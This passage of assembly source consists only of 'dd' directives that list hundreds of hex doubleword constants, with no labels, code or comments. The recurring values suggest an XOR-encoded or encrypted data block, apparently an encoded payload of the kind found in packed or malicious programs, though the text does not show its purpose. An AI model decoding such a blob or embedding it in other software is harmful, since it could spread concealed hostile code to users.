		dd 0D2AD9043h, 757B0D6Ah, 0BBE5EAAEh, 0AEB4B06Ah, 453470D6h
		dd 19484E8Ah, 3122451Fh, 383E7A36h, 386A3FF4h, 15668EDBh
		dd 5D089C32h, 3EBD15DEh, 0EC4E84B7h, 1F8F7D37h,	1F664432h
		dd 9AEC5823h, 555C7DF5h, 178649D6h, 156ACE3Dh, 128F2232h
		dd 25661132h, 926969D4h, 90654535h, 109F08D3h, 0E557E4CEh
		dd 0E5574E03h, 15664FDBh, 0D685AD32h, 4E83C218h, 0C7FCD5BEh
		dd 19E54B9Fh, 0FC662232h, 15661135h, 63032F3Bh,	384EE5A2h
		dd 5A7742F5h, 0AF34D933h, 6E44A781h, 9465A6F3h,	0EA850DF0h
		dd 4FB61047h, 156D0A3Dh, 1A064432h, 9869E98Dh, 15661132h
		dd 31220153h, 749A242Eh, 156DCB53h, 0FB81132h, 0E72443D4h
		dd 6E579AEDh, 178ACB86h, 949F1132h, 15668CDEh, 316ACD32h
		dd 44774ACAh, 1EF1132h,	15746116h, 0B73A4432h, 298C9E5Ah
		dd 0D34E0C0Fh, 0A10CE52Ch, 2E0F8F11h, 188FEB03h, 97661132h
		dd 94A5187Ah, 70294317h, 0B37E715Ch, 40F39ACBh,	0FC637116h
		dd 15664422h, 0BA03643Ch, 0D5EEDBCEh, 5E0070C6h, 0E3B5C9CFh
		dd 91692009h, 1566119Eh, 0ECD18752h, 4007BCB9h,	1566268Fh
		dd 3C8C9032h, 1403EF06h, 3CA4C5D8h, 48034506h, 15609A3Dh
		dd 1A068832h, 749EB385h, 15679A62h, 0D4671132h,	1568616Ah
		dd 61504432h, 0F1290285h, 0AE975571h, 8458E2Fh,	133C909h
		dd 906927CBh, 0EA99EE9Ah, 156680DBh, 428C3D32h,	55BDA09Fh
		dd 0E8DB444Dh, 9460F522h, 0F63F65F7h, 488EAB30h, 7522A637h
		dd 13864973h, 1063A4F3h, 558A2E65h, 77D24607h, 156C6174h
		dd 80FD4432h, 9EEF0E46h, 97BF0554h, 5B8E05BFh, 926941CBh
		dd 1566223Fh, 156619DBh, 75A16B32h, 28C115D4h, 0EC87DD34h
		dd 27EB9CBBh, 198F8DCBh, 0A8664432h, 0C1CE1BCAh, 0DF7DD3AEh
		dd 9E91AC4Fh, 9C336026h, 11A3A3D7h, 94661132h, 15668CF7h
		dd 314AC332h, 0BE42D6Eh, 1A661132h, 156690BAh, 1575AD32h
		dd 687A2232h, 0FBD7D64h, 0D9ACA083h, 83C85DB7h,	67E3434h
		dd 316A9AD7h, 94840160h, 156640F0h, 11A4A132h, 494205B5h
		dd 156F6152h, 0B2CF4432h, 77C989F7h, 73D4A913h,	44A668B3h
		dd 156DAD53h, 0E682232h, 312E0704h, 6F5727A2h, 0F7EF1698h
		dd 1562E0B3h, 0FFE51132h, 31720F36h, 3152CD6Eh,	156AA63Dh
		dd 9F691132h, 15668834h, 1566C53Dh, 88ED2232h, 109F3337h
		dd 7D33D8C7h, 151B2AF6h, 0AAA3A36Fh, 9421D17Bh,	28DE0BC7h
		dd 488ECD7Ah, 1DEDFA33h, 0C2E7716Ah, 2D5B166Ch,	156650DBh
		dd 0BA1E7732h, 2C100DFBh, 54771B7Ch, 0B25BCAF0h, 0E065E8ABh
		dd 90ED7053h, 109FBABFh, 29A5FD52h, 9E002684h, 0F5B770F1h
		dd 156A0C3Dh, 73064432h, 1AFCE088h, 156611BEh, 9065E932h
		dd 109F5EB7h, 1567A53Dh, 759A1132h, 1566003Dh, 0CEE74432h
		dd 37F6D038h, 0FC902053h, 1566883Eh, 9BD9F257h,	0E50C2362h
		dd 9D497999h, 11EDDE62h, 11A2C716h, 4435426Ch, 0AA694B6Ah
		dd 0B800E9ECh, 0AF0024CEh, 0AE006559h, 0D40757FAh, 1E8F8AD2h
		dd 0FB664432h, 1CD6CBFEh, 0D8B81237h, 9065237Dh, 109F6ED3h
		dd 249613CBh, 1A9620F4h, 15668FBCh, 14EE4B32h, 0EC662232h
		dd 0AE35E99Fh, 74C5A549h, 143D9C33h, 381D0FFAh,	9F697091h
		dd 1566882Dh, 157FC63Dh, 18F2232h, 20661132h, 0D3A79279h
		dd 519B6427h, 79C8ADC9h, 0BEBA761h, 9E95DED8h, 9C316006h
		dd 11A1A3D5h, 94661132h, 15668CF5h, 315AC332h, 0A8E5DE6Eh
		dd 109F3873h, 0ABE28733h, 1A664432h, 15663BB8h,	1572F832h
		dd 9B218832h, 0A774451Ah, 7824DE55h, 0D0DCEC94h, 89A628B2h
		dd 985DC53Ch, 109F052Bh, 15F5953Dh, 2E9F8832h, 0EC474DBFh
		dd 93E22D37h, 75661132h, 0D0EBB353h, 1A63BD3Dh,	15665AB6h
		dd 88EBED32h, 1364BE21h, 156643DBh, 0F57A7132h,	0E42B086h
		dd 9D695BCDh, 1566443Ah, 0DBED4452h, 74959A54h,	153A7C5Ah
		dd 3162CD32h, 90EFDE6Dh, 109F15E7h, 15756052h, 0A3024432h
		dd 0C5D4C7AAh, 0D9E34086h, 16AAC07Ch, 0FE2A1EE5h, 4D0742EFh
		dd 7495AE3Dh, 1547A2DBh, 156FAD32h, 5D3E2232h, 3C3CB394h
		dd 1A5889AEh, 156648B8h, 1561CB32h, 6B11132h, 4FF49868h
		dd 6FBC94Bh, 0FC602004h, 15661139h, 8D7555B6h, 5635A3AAh
		dd 0FC87F857h, 1566113Eh, 0FC5C2FBAh, 73BC1CD4h, 9F146F7h
		dd 9D69C2CDh, 15668833h, 54DBC7CEh, 1563DB1Bh, 1506953Dh
		dd 92698832h, 15664435h, 1567A33Dh, 0E99A1132h,	338F0D09h
		dd 916941CBh, 1566220Bh, 1576F852h, 37BA8832h, 41C414EBh
		dd 436F312Eh, 1B7AD0A2h, 95693033h, 15664433h, 905D43C7h
		dd 109F01F3h, 157A0D3Dh, 1F8F4432h, 0C3662232h,	5A9F5ED9h
		dd 69C0E215h, 0EB92AD12h, 7306DDCDh, 9EB55689h,	905DE9F8h
		dd 109F5313h, 1534A73Dh, 188F1132h, 93668832h, 18819614h
		dd 75CD2AA6h, 0CAD6FE68h, 2E335B1h, 1A6641CBh, 156601B6h
		dd 0A8E5E932h, 109F9813h, 30E24B32h, 75662232h,	22B19054h
		dd 1563607Bh, 0BE814432h, 950F5FB3h, 743E18D8h,	23D00DBFh
		dd 9F064233h, 9A8F43FEh, 0ED99EECCh, 2470D09h, 916941CBh
		dd 0EA99DCB0h, 0C9DB92CEh, 146089E5h, 1517C13Dh, 1D8F2232h
		dd 9B661132h, 2590EFEEh, 0FC2589B8h, 15662221h,	83F0EFE4h
		dd 437A00Ch, 0CDC66CE5h, 59167505h, 2ECB450Bh, 14BE98B7h
		dd 55E34B34h, 0EC662232h, 1E8294BFh, 9C69886Bh,	15664426h
		dd 1568A03Dh, 1C8F1132h, 7C668832h, 0D92C629Ch,	11B80A37h
		dd 0EA982EDBh, 1EC87CDh, 75664432h, 15662ADBh, 7883C432h
		dd 0F7DB290Dh, 0C4E72294h, 24071A43h, 3E41ECDh,	0FC668832h
		dd 15664423h, 0ED5F8A76h, 0F00AD9C7h, 0D0B6E16Ch, 71191F1Ch
		dd 7CDBA1F3h, 1563E83Eh, 5B70C3Dh, 2E9F4432h, 14B1DEB7h
		dd 47E31E34h, 1A668832h, 156655B1h, 156ACB32h, 0DBAB1132h
		dd 0B83B79BCh, 8F24A7F2h, 90ED8B53h, 109F0983h,	15776052h
		dd 480C4432h, 118390AAh, 0DC785BBAh, 6773C00Fh,	0FC25B92Bh
		dd 1566223Ah, 5026F023h, 81820ADEh, 4407BD6Dh, 1566238Bh
		dd 4CA91032h, 0CAEDEE52h, 11E37F53h, 1A6023EAh,	15664BB7h
		dd 19EF8732h, 1A664432h, 156624B8h, 15EF1E32h, 9E668832h
		dd 0EC6779B7h, 1569CB37h, 943A1132h, 7CF3863Ah,	972FF82Fh
		dd 0F4AE726Dh, 1576F86Bh, 0A8288832h, 0C8DF708Bh, 487B204h
		dd 0FFCC2A35h, 0AF348488h, 15664433h, 1A3CF533h, 15661BBBh
		dd 9CD8E832h, 1A0AA902h, 2E07D385h, 14BE11B7h, 51E38734h
		dd 0E9664432h, 0D87A7B9h, 1A0614CBh, 15668EB9h,	15E24B32h
		dd 1A662232h, 156600B8h, 156A6132h, 131F4432h, 5AD65D75h
		dd 0BD678F46h, 4607F0BEh, 15664589h, 4EB92332h,	956971CEh
		dd 15668833h, 0E25BFBC7h, 2E071140h, 14BE19B7h,	57E38734h
		dd 0FC664432h, 1566223Ch, 363ACD2Fh, 6DE07A01h,	13082AF4h
		dd 9E9A4D8Ch, 0EC4018B7h, 138FE837h, 83664432h,	0F39129C5h
		dd 0C6D11EBCh, 118A0B53h, 0EA4278BBh, 0FC390636h, 1566113Bh
		dd 0A24D4347h, 57D50193h, 19E31978h, 1A6010EAh,	1566CDB7h
		dd 1560AD32h, 932D2232h, 4EB3B0D5h, 18DF0DB9h, 1B8F41CBh
		dd 75662232h, 0F6E4F49Ah
		dd 8280F636h, 9A554A8Ch, 0DCDB77E4h, 0E248630Eh, 0E88B09E7h
		dd 9426A14Eh, 274C0C7h,	118BD013h, 1FD47DB3h, 0FA4FB0D6h
		dd 905DDE6Fh, 1367C922h, 154E0D3Dh, 138F4432h, 29662232h
		dd 5FDCF150h, 0CE3031Ah, 0EC63BD1Bh, 2425FDB5h,	249D20EDh
		dd 12E787EDh, 1A664432h, 156623B5h, 905DE832h, 13675026h
		dd 153DC13Dh, 1D8F2232h, 0A3661132h, 0D2881B2Fh, 1ABE3537h
		dd 15662EB5h, 1561F832h, 0E9328832h, 0B5C4E00Bh, 20E3A960h
		dd 7563E813h, 15600C3Dh, 9C694432h, 15662232h, 15661CDAh
		dd 43B7ED32h, 961E7D1Ah, 0BBF796A2h, 743DED6Ch,	0EA993664h
		dd 0E24FBBCDh, 0AB00426Ch, 0FAE7B317h, 61F7BC92h, 0DE37F53h
		dd 1A6023EAh, 156655B7h, 0FBD1E832h, 366A3B3h, 9E074F39h
		dd 0EC4408B7h, 9169E837h, 15664434h, 0BAB2E2B3h, 0A2691812h
		dd 0AD36E9E8h, 2E7D7221h, 0E265C2F3h, 0FDA751E2h, 20DFBD35h
		dd 0CF6360E6h, 14BD47B4h, 9F6949F5h, 15668833h,	9E37FCAh
		dd 1A6023EAh, 156672B7h, 9E00E832h, 1576ADFCh, 0B5452232h
		dd 2A0FB63Fh, 98BB2EFFh, 0A9D7001h, 9E075189h, 0EC704CB7h
		dd 1DED8737h, 1A664432h, 156620BDh, 92077132h, 0EA8D0BEDh
		dd 73069BB5h, 0FCBDAE8Ch, 15661139h, 0BABAFFAh,	87ECBB98h
		dd 740DCE4Eh, 156602DBh, 0E4D23832h, 4EE9AAB9h,	0E98A7DDCh
		dd 0C93B97A3h, 3F7CC2AEh, 0CD46C109h, 90692433h, 15661106h
		dd 13E68752h, 1A664432h, 156622B9h, 90ED7032h, 109FAFBFh
		dd 69D82252h, 0AC37432Bh, 15661133h, 753F4733h,	1566C33Dh
		dd 73062232h, 64A4C9B3h, 7407E952h, 0CD4EC109h,	90692433h
		dd 15661174h, 0A0E303CBh, 7563BD26h, 1563CA52h,	8FF1132h
		dd 4F90DB9Eh, 15664EDBh, 13060532h, 6EAFA57Ah, 7456D0DEh
		dd 920782B9h, 0E25764C5h, 0E257EF03h, 156699DBh, 0A2D63332h
		dd 674B5BBEh, 9A272533h, 32BEB826h, 905D776Fh, 1367FA16h
		dd 153E943Dh, 1A068832h, 156646BAh, 0AC3D7232h,	1E5AECB6h
		dd 2CDB0B53h, 1563BD26h, 155AA73Dh, 0AA061132h,	4E0A3478h
		dd 1565CA3Dh, 0D9E62232h, 90ED707Bh, 109F92BFh,	0EADC16CAh
		dd 3C99DDCDh, 47064BE5h, 4CBC0354h, 156654DBh, 17923032h
		dd 61B4C4FCh, 71DF0501h, 0D8860F79h, 0A8E54303h, 109F3B6Bh
		dd 91E28732h, 75664432h, 0CFD92D60h, 198F706Ah,	87668832h
		dd 0FC6077E5h, 7DBEF908h, 2E8BC220h, 14BE38B7h,	75E34B34h
		dd 75662232h, 204EE3B3h, 0E3DFC21Fh, 7466F96Bh,	30B3A7B9h
		dd 966914CBh, 15668835h, 1567C03Dh, 759E2232h, 1563973Dh
		dd 9BDE8832h, 0FC58C333h, 15662223h, 0E4F6770Dh, 0CD07931Dh
		dd 0B0F6BE0Ch, 0FA96CC20h, 0AE3570C4h, 6865A041h, 7824B7B3h
		dd 0FEE7383Dh, 726A5402h, 0E03D5733h, 1567CA3Dh, 96932232h
		dd 0EC4D3C8Fh, 91698837h, 156645C7h, 0B4DBA1CBh, 1563E837h
		dd 14810C3Dh, 1F8F4432h, 0E0662232h, 1DF4AFE1h,	7A57A25Bh
		dd 81E37F02h, 1A6023EAh, 15665BB7h, 15776132h, 0E1084432h
		dd 56986F8Ch, 3CE30D54h, 2C06F87h, 9E5B3603h, 0EC41E3B7h
		dd 1EEB1E37h, 75668832h, 0E01B4B3h, 9E004237h, 0AB3070EDh
		dd 0EA9977CDh, 0FC38B31Bh, 1566223Dh, 24A8F785h, 0D6E94E79h
		dd 53EAAA04h, 2ED27569h, 14BEB5B7h, 26E38734h, 1A664432h
		dd 15662EBAh, 13E51E32h, 1A668832h, 156644B4h, 4CE3A932h
		dd 1A63E834h, 156689BFh, 0AB30B832h, 4E12599Dh,	9465F7F3h
		dd 494401F4h, 4B914516h, 905DDECAh, 1367C9AAh, 15380D3Dh
		dd 1A934432h, 156635B6h, 4EA1E32h, 0FC668832h, 1566443Eh
		dd 0B4D06D30h, 5E0EB6A4h, 0ABB30A9Dh, 33EFC1B9h, 966927CBh
		dd 1566113Eh, 1560073Dh, 99694432h, 15662232h, 1567A962h
		dd 0D2678832h, 0CE04B6Ah, 1A662232h, 156602BBh,	15686132h
		dd 6F744432h, 9C834B3Fh, 0B5757440h, 115236AFh,	0CDCEC109h
		dd 90692433h, 1566111Ch, 50D9E852h, 1A0143E9h, 7407E38Dh
		dd 66794B9h, 73068DCBh,	946FF48Ah, 57E065EBh, 0AE357001h
		dd 0EA9977CDh, 753D9B1Bh, 0AA694A85h, 905D70EDh, 1367509Eh
		dd 157BC13Dh, 9E9F2232h, 0EC5474B7h, 15616137h,	2F604432h
		dd 0F439BBF0h, 0EADF40F4h, 3C9977CDh, 2E9F1DFDh, 14BEBEB7h
		dd 39E31E34h, 1A668832h, 15664CBBh, 17EA2D32h, 75661132h
		dd 3CE30353h, 0FC63BD26h, 1566223Bh, 0D4622DB1h, 0F045463Ah
		dd 0EADF1599h, 3C99DDCDh, 2E9F48FDh, 14BE28B7h,	27E34B34h
		dd 0FC662232h, 15661134h, 30CB68D9h, 90ED8AC9h,	109F352Bh
		dd 14DE41C7h, 14668832h, 78F1CF5h, 83662232h, 0EA556F29h
		dd 0DDFC3BAFh, 0EBA3E499h, 36697FB9h, 0B4DB92C6h, 15637137h
		dd 1F4BC03Dh, 99692232h, 15661133h, 39E3B3CEh, 1A6045EAh
		dd 156656B7h, 1B8E7132h, 76668832h, 0D15D0D85h,	8D38D0E9h
		dd 0D50B1DCFh, 0C4960991h, 4D3102A0h, 4A87A360h, 4B6278F6h
		dd 94E30353h, 1A63BD15h, 156624BDh, 74067132h, 750773B9h
		dd 1566C13Dh, 128F2232h, 18661132h, 0A232F323h,	44071732h
		dd 0E822118Bh, 4487902Bh, 0D456095Eh, 942741D3h, 765565FBh
		dd 8D97906Eh, 3CC51C7Eh, 138F1DFDh, 45662232h, 2CF9A3C8h
		dd 0D5E3B387h, 1A6045EAh, 156607B7h, 90EDE432h,	109FAC1Fh
		dd 1567C63Dh, 459E2232h, 1566108Ah, 4DA18932h, 156ECC3Dh
		dd 1A062232h, 9E00E68Dh, 905DE9C1h, 13679C02h, 1522A73Dh
		dd 108F1132h, 0CD668832h, 55EDA725h, 0CEFA7B9h,	1A0614CBh
		dd 15668CB5h, 5ADE2232h, 156CCB0Eh, 9E481132h, 0CD9F669Fh
		dd 59C78814h, 35DD7153h, 0E23B5529h, 0FEE7C3E1h, 0B7DDA0EFh
		dd 1A3DFD33h, 156610B5h, 905D7032h, 13679C06h, 1528A73Dh
		dd 92691132h, 1566883Ch, 1561AD52h, 3C3C2232h, 0F45810AEh
		dd 90EDE945h, 109F621Fh, 15662FDBh, 49EC7832h, 0D8063C23h
		dd 63AFBD83h, 0A833657Eh, 15661133h, 0FC3B6733h, 15664426h
		dd 3A97B254h, 2BBE7029h, 7C318C8h, 0E389B4DCh, 0CEEA7B1Ah
		dd 0CD5E9409h, 90698E33h, 1566440Bh, 156EA13Dh,	73061132h
		dd 75D4098Ch, 90ED2553h, 109F2A0Fh, 0DB44C7h, 9462AC0Bh
		dd 0CC045DF7h, 0C6A3A323h, 148C1356h, 1F8FD5DDh, 7B664432h
		dd 22F013A1h, 0F7F500E7h, 29E3B39Eh, 1A6045EAh,	15661EB7h
		dd 0ECD37132h, 749E3F3Dh, 15FF9B1h, 1A6627CBh, 156639B7h
		dd 9400E832h, 9F0E86C4h, 90ED43F8h, 109F1637h, 0C7D98752h
		dd 11991353h, 315AA916h, 1562D5B3h, 0A5068832h,	0C3D94B16h
		dd 55E31953h, 1A6010EAh, 156628B7h, 5E64B32h, 0FC662232h
		dd 15661139h, 0C9E639D0h, 0EC42CBE3h, 1ACBE534h, 156607BAh
		dd 15776132h, 0F80C4432h, 715BAFDDh, 3EC460BDh,	0FDF4D65Eh
		dd 9ED6226Dh, 0EC6A57B7h, 156EF837h, 78428832h,	0EFD3CE3Ah
		dd 0F9E52017h, 315A9836h, 4A428CCDh, 48F2452h, 79662232h
		dd 0C1FCF62Bh, 26D6DB74h, 0A54DF23Bh, 0E6CD4B69h, 156600DAh
		dd 877E5732h, 0F4F890A0h, 0C07E9AE5h, 0DFDB684Eh, 743F94FDh
		dd 25A2FE54h, 108F4253h, 0B9661132h, 0F7806BB6h, 156CCF3Dh
		dd 108F2232h, 8B661132h, 0E43616C7h, 51E37F53h,	1A6023EAh
		dd 156621B7h, 14E18732h, 0EC664432h, 15F9FB1h, 1A6614CBh
		dd 156694B7h, 1563AD32h, 0CF832232h, 9E077853h,	0EC6EA9B7h
		dd 0AD36BC37h, 0EA99DDCDh, 0ED3ED61Bh, 5DE3B3CBh, 1A6045EAh
		dd 15663FB7h, 11EA1E32h
		dd 75668832h, 0E0079AB9h, 2027A7B9h, 479E14CBh,	15668988h
		dd 4FB14532h, 905DDACBh, 1367C97Eh, 15210D3Dh, 9E934432h
		dd 0EC61B7B7h, 739F7137h, 0F7968B3h, 0F8DF1553h, 94328727h
		dd 3C36ACD3h, 12874925h, 652EB5B3h, 0D4E7334Ah,	0EB69C80Bh
		dd 1A3F4733h, 156650B8h, 1569CB32h, 95A31132h, 1BFA4892h
		dd 0B5FD8EB3h, 1DEF09A7h, 41E32AB4h, 1A6089EAh,	156613B7h
		dd 156CCB32h, 0AA8F1132h, 85338FA9h, 9365A904h,	15F9FB1h
		dd 1A6614CBh, 1566B3B7h, 95932432h, 9E0725C4h, 0EC40B4B7h
		dd 0CE48737h, 0FC664432h, 15662226h, 8A147A83h,	5E14F7CBh
		dd 0E08B2CBBh, 0A6A3DD99h, 743789F0h, 47163163h, 0D4E71B91h
		dd 0B53A8FBDh, 0E93FDE1Bh, 0CD360D09h, 90694233h, 1566226Ch
		dd 1EE31E52h, 0FC668832h, 15664434h, 4EDE1286h,	94692823h
		dd 15668831h, 740091B2h, 15F9FB1h, 1A6614CBh, 1566BDB7h
		dd 1563AD32h, 964E2232h, 9E0E8672h, 0EC48D1B7h,	9631BC37h
		dd 4A99061Eh, 1569F852h, 48DB8832h, 35F37BB3h, 6ECC104Fh
		dd 0A577B105h, 9400E873h, 74EE80F3h, 905DDE53h,	1367C96Ah
		dd 155E0D3Dh, 9E694432h, 1566223Ch, 156618DBh, 33537832h
		dd 68A43235h, 90ED6A5Eh, 109F209Bh, 156686DBh, 5AE9C632h
		dd 5176DEEFh, 0A80462DEh, 477E0DD7h, 15664588h,	4FB12332h
		dd 905DE4CBh, 1367506Eh, 1540C13Dh, 128F2232h, 1B661132h
		dd 0E7C486CDh, 9406314Dh, 824D90D3h, 9E07ED5Dh,	0EC7E89B7h
		dd 0AD36B137h, 0EA99DDCDh, 0EC3ED61Bh, 0CD060D09h, 90694233h
		dd 15662250h, 156600DBh, 6A5D232h, 619F16D4h, 76387DA2h
		dd 1D6A13E0h, 90EDBA61h, 109F7153h, 1570AA3Dh, 99691132h
		dd 15668822h, 15664FDBh, 18E58132h, 1E80CBEAh, 0E9A276A6h
		dd 1567FE60h, 0C2672232h, 92697168h, 15668830h,	78F1C65h
		dd 28662232h, 0F6AF3D86h, 4C9464A7h, 7DF373E4h,	8743685Bh
		dd 905D706Fh, 13675056h, 1554C13Dh, 9E9E2232h, 0EC6014B7h
		dd 0A269E837h, 5786C5EDh, 747C8757h, 0EA99A962h, 0D24F77CDh
		dd 1A8F246Ah, 1F662232h, 0D4481AC2h, 9BFC29A0h,	0DBF458F7h
		dd 749ABC17h, 0CD0E9409h, 90698E33h, 15664479h,	6482A252h
		dd 15E21E52h, 1A668832h, 156644B3h, 9E074332h, 0EC4318B7h
		dd 0FD35E837h, 1566443Eh, 0B02D6CD3h, 8634E109h, 0DD744F07h
		dd 0EC071D6Ch, 0EA999F67h, 0FA4FEECDh, 156B616Fh, 77F44432h
		dd 26B2BF54h, 2874FDFh,	2EB11CF0h, 14BE28B7h, 5DE32D34h
		dd 1A661132h, 156689B6h, 90EDBD32h, 109F320Fh, 1560F952h
		dd 0D2D18832h, 9CBE2636h, 1966A89h, 1C8F4846h, 13668832h
		dd 22E13B86h, 3B2A0D3Eh, 74937153h, 0EA993664h,	0E24FBBCDh
		dd 156FCB6Ch, 70241132h, 63B80211h, 2E185C89h, 14BE52B7h
		dd 74E31E34h, 75668832h, 156CCC3Dh, 108F2232h, 0E2661132h
		dd 825FA937h, 156CAD52h, 0C0672232h, 0F2F95109h, 829FCF82h
		dd 90FDFF54h, 90ED4353h, 109F17EBh, 15680D3Dh, 1C8F4432h
		dd 0B9662232h, 97BE340Ah, 0A3E99AAh, 0EA99F967h, 0FA4FDDCDh
		dd 4EA1E6Fh, 0FC668832h, 1566443Eh, 6859FB29h, 973FBF5h
		dd 1A5BEE30h, 0CD12C109h, 90692433h, 15661170h,	1567023Dh
		dd 9E9F4432h, 0EC47B3B7h, 108F7137h, 6668832h, 344D095Fh
		dd 0FDE74460h, 7438A0D5h, 15673163h, 0DA674432h, 1572CB6Bh
		dd 770A1132h, 77C00082h, 0BBCCD380h, 0D2F1D753h, 0EBFB7196h
		dd 905D3B21h, 109F56F7h, 1534A73Dh, 96691132h, 1566883Bh
		dd 90BCFD52h, 0A4D45830h, 19EF1E53h, 1A668832h,	156642B1h
		dd 15E12D32h, 9E661132h, 0EC623DB7h, 4693BC37h,	0A687789h
		dd 13AD9014h, 94470B72h, 8A281CD9h, 4EB90B15h, 1568953Dh
		dd 1C8F8832h, 28664432h, 862E59C7h, 12F33559h, 0CD1E0D09h
		dd 90694233h, 15662269h, 2FDE7752h, 18EE87Dh, 5D664432h
		dd 0ABCEB125h, 83E2602Bh, 1D0106BEh, 0E57AC796h, 4B8E8ABFh
		dd 15669A3Dh, 74078832h, 105BC1B9h, 996927CBh, 1566113Ah
		dd 15640A3Dh, 74064432h, 0EA999860h, 0C24FEECDh, 198FE868h
		dd 8E664432h, 0AD3E864Dh, 71A45681h, 1A270C28h,	2E079685h
		dd 14BE96B7h, 47E31E34h, 0EC668832h, 0CDDAF9B1h, 1A662433h
		dd 15660DB7h, 156F6132h, 50A54432h, 0C578B17Fh,	9640A192h
		dd 0EC4FC98Fh, 91694437h, 1566221Bh, 40E39AC7h,	75637112h
		dd 0AF97FB3Dh, 7A78A830h, 14DD4253h, 14668832h,	1F8F1FEDh
		dd 0A8662232h, 0A485940Ch, 754D0E05h, 0ADE37FE8h, 1A6023EAh
		dd 156694B7h, 0FC9EE832h, 1566443Ah, 18B590D4h,	675C071Ah
		dd 14EE8753h, 0ED664432h, 0CDDA9FB1h, 1A661733h, 156693B7h
		dd 14EF4B32h, 0E9662232h, 3C27ACB1h, 1A668DCBh,	156609B6h
		dd 14E42D32h, 0E9661132h, 5FF0DB9h, 9E0641CBh, 10EC2DC8h
		dd 0AA661132h, 4DC64109h, 89D81253h, 9470821Ah,	0A2046BDCh
		dd 0DBE7C613h, 2E2F0A95h, 9464C4F3h, 0B25C8CDCh, 4B91A1CDh
		dd 156649DBh, 6FC81732h, 7D779983h, 1773437h, 905DA510h
		dd 1367FA4Eh, 1532943Dh, 1A068832h, 156642BEh, 15E92D32h
		dd 45661132h, 156698DBh, 1BCD7A32h, 7D361D64h, 48B27668h
		dd 14EC04E0h, 9E071A2Eh, 0EC71F7B7h, 0A833E837h, 7DC1AEA9h
		dd 7408A9B3h, 0D0E76FD6h, 61BA799Eh, 38BE7DB3h,	0FA67CBADh
		dd 12E92D6Fh, 1A661132h, 156689BDh, 905DBD32h, 1367FAB2h
		dd 1529943Dh, 9E9A8832h, 0EC7D65B7h, 0CE52D37h,	0FC661132h
		dd 15668826h, 7B59F074h, 51A94037h, 6EFC0D7Fh, 242D5275h
		dd 73AD96Ch, 4B4A9961h,	0F6B72511h, 5C24BB3h, 0FEE77916h
		dd 6DAA5B9Bh, 4634E2B3h, 0CA67A4ACh, 1561AD69h,	7C3C2232h
		dd 580EF806h, 91E3B3CAh, 1A6045EAh, 15666AB7h, 1EEB1E32h
		dd 75668832h, 78EB83B3h, 0D8E646ABh, 108F7002h,	90668832h
		dd 5857BCB7h, 34EFA7B9h, 1C8F14CBh, 0BC668832h,	0A34952F5h
		dd 9DBDE8F3h, 1567AC67h, 0FA678832h, 156DAD6Fh,	23602232h
		dd 495963F9h, 0E3DB4586h, 9DE37FDCh, 1A6023EAh,	15662BB7h
		dd 0DEEDE832h, 156642DAh, 0C48A0032h, 1A73E28Dh, 74397985h
		dd 1D67C1B9h, 198F27CBh, 1661132h, 7B45219Ah, 0E3F05A93h
		dd 40FBDAA3h, 0EA99EE8Fh, 4889A1CDh, 1567C43Dh,	2E932232h
		dd 14BE9DB7h, 3BE38734h, 1A664432h, 15662EBCh, 13E31E32h
		dd 1A668832h, 156644BAh, 9E004232h, 90ED70CBh, 109F82CFh
		dd 1567C13Dh, 409A2232h, 1566108Fh, 48898932h, 85E37FCBh
		dd 1A6023EAh, 156627B7h, 156E6132h, 0C4114432h,	442050A2h
		dd 90EDB8B5h, 109FAFB3h, 0CEE7B852h, 7A0AD7A5h,	14DD4253h
		dd 14668832h, 198F1FEDh, 6E662232h, 22091F10h, 267363D6h
		dd 1EEA5EEEh, 5E22DCDh,	0E9661132h, 0EA8B93DBh,	1563ADCDh
		dd 0BEDB2232h, 2EA5E9F5h, 0EC6641B7h, 2CE34B37h, 75662232h
		dd 6FE39C53h, 1A6088D2h, 156642BDh, 0C1E64232h,	7507E45Fh
		dd 4BAD0361h, 74BEF33Dh, 0EA8AC1DBh, 4E61ECDh, 75668832h
		dd 1D8F2552h, 48662232h, 0E2E8285h, 744B7FCAh, 193C109h
		dd 906927CBh, 15661150h, 1567053Dh, 96934432h, 14B1FE8Fh
		dd 90691034h, 1566887Ch, 1568CD3Dh, 1C8F2232h, 1B661132h
		dd 0F2FF326Bh, 0EB846128h, 1E01A7BFh, 108F116Bh, 0C5668832h
		dd 46C8E850h, 0EA8AA1DBh, 0FD0671CDh, 15668821h, 0DD91692Eh
		dd 8CA32FACh, 4005066Ah
		dd 0E6F79B76h, 4E1BC675h, 590A354h, 9E007049h, 905DE9E4h
		dd 136793DEh, 1549A63Dh, 1D8F1132h, 0D2668832h,	0A6CDEDD2h
		dd 2E54455Ah, 14B1E1B7h, 54E38734h, 1A664432h, 156632B9h
		dd 156DF832h, 4C7F8832h, 0E8B9A11h, 3D68471Dh, 0F978F8B3h
		dd 1A0677CDh, 156647BFh, 0DCD12D32h, 15661EDAh,	47171732h
		dd 0AFBD0818h, 9D785901h, 83012DE6h, 15660D3Dh,	743D4432h
		dd 0E8E9961h, 0CBEF3466h, 0FD880969h, 1A431029h, 156625BDh
		dd 14E31E32h, 0E0668832h, 1A67BAB1h, 1566E9B7h,	14ED1E32h
		dd 0E0668832h, 0C286C109h, 90692433h, 15661178h, 15670C3Dh
		dd 989F4432h, 4DE1E6B7h, 1E8F7132h, 19668832h, 7340D5Eh
		dd 6F143E97h, 9A691F5Fh, 15668834h, 1566CD3Dh, 0FC072232h
		dd 0EA99FAA2h, 1572073Dh, 1A8F4432h, 77662232h,	4A71A54Ch
		dd 48AE44ADh, 82A8B08Ch, 905D57E4h, 1367C6D6h, 154C0D3Dh
		dd 989F4432h, 4DEE18B7h, 488FE932h, 759977D9h, 15664EDAh
		dd 1237E432h, 88EC71C9h, 1A7A61E2h, 156644B3h, 94007C32h
		dd 745BCBF0h, 0C28E0D09h, 90694233h, 1566221Eh,	6AE39CCAh
		dd 0FC66D0BAh, 15664435h, 0E4B0D9FFh, 0FC91AE87h, 0EA99632Eh
		dd 15664BDBh, 0DE120832h, 2165EABAh, 0C6551A39h, 0E34CC6Eh
		dd 9C3B7267h, 18F4CDAh,	9F668832h, 221026B0h, 9C98F107h
		dd 8C79F8D7h, 487E38E0h, 46B842BCh, 5D52B75Ah, 317A9A24h
		dd 15624CB3h, 0FEA74432h, 0BD8DA334h, 0E2289E36h, 0C18D09E9h
		dd 9C2871D1h, 108F79ECh, 96661132h, 1EC8BC8Ah, 9069B239h
		dd 15662216h, 156A903Dh, 95698832h, 15664434h, 1566A53Dh
		dd 6E8F1132h, 1A9977D8h, 156643BBh, 14ED2D32h, 0E9661132h
